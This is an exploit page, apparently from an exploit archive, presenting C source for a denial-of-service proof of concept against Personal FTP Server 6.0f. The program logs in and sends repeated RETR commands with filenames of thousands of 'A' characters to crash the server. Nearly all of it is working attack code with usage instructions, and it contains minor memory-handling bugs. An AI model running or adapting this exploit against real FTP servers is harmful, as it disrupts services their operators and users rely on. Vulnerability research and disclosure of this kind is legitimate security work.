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The Personal FTP Server 6.0f RETR Denial of Service Exploit
=========================================================== The Personal FTP Server 6.0f RETR Denial of Service Exploit =========================================================== /* *** The Personal FTP Server 6.0f RETR DOS exploit *** A vulnerability exists in the way Personal FTP Server handles multiple RETR commands with overly long filenames.When confronted with such consecutive requests the server will crash. Usage : ./pftpdos ip port user password Ex. : ./pftpdos 127.0.0.1 21 test test Personal FTP Server homepage: http://www.michael-roth-software.de/ Discovey + POC by Shinnok raydenxy [at] yahoo <dot> com http://shinnok.evonet.ro */ #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <string.h> #include <malloc.h> #include <errno.h> int min (int x, int y) { if (x < y)return x; else return y; } extern int errno; int main (int argc, char *argv[]) { struct sockaddr_in server; int i, t, s; char *req, *buff; s = socket (AF_INET, SOCK_STREAM, 0); bzero (&server, sizeof (server)); server.sin_family = AF_INET; server.sin_addr.s_addr = inet_addr (argv[1]); server.sin_port = htons (atoi (argv[2])); connect (s, (struct sockaddr *) &server, sizeof (struct sockaddr)); req = malloc (sizeof (char) * \ (((strlen (argv[3]) - strlen (argv[4])) + \ min (strlen (argv[3]), strlen (argv[4])) + 8))); sprintf (req, "USER %s\xD\xA", argv[3]); write (s, req, strlen (req)); sprintf (req, "PASS %s\xD\xA", argv[4]); write (s, req, strlen (req)); free (req); for (i = 1; i <= 5; i++) { t = (sizeof (char) * 1000 * i); buff = malloc (t + 1); memset (buff, 'A', t); buff[t + 1] = '\0'; req = malloc (t + 9); sprintf (req, "RETR %s\xD\xA", buff); if (write (s, req, strlen (req)) == -1) { perror (NULL); printf ("Target pwned!\n", errno); } free (req); free (buff); sleep (1); } close (s); return (EXIT_SUCCESS); } # 0day.today [2024-12-25] #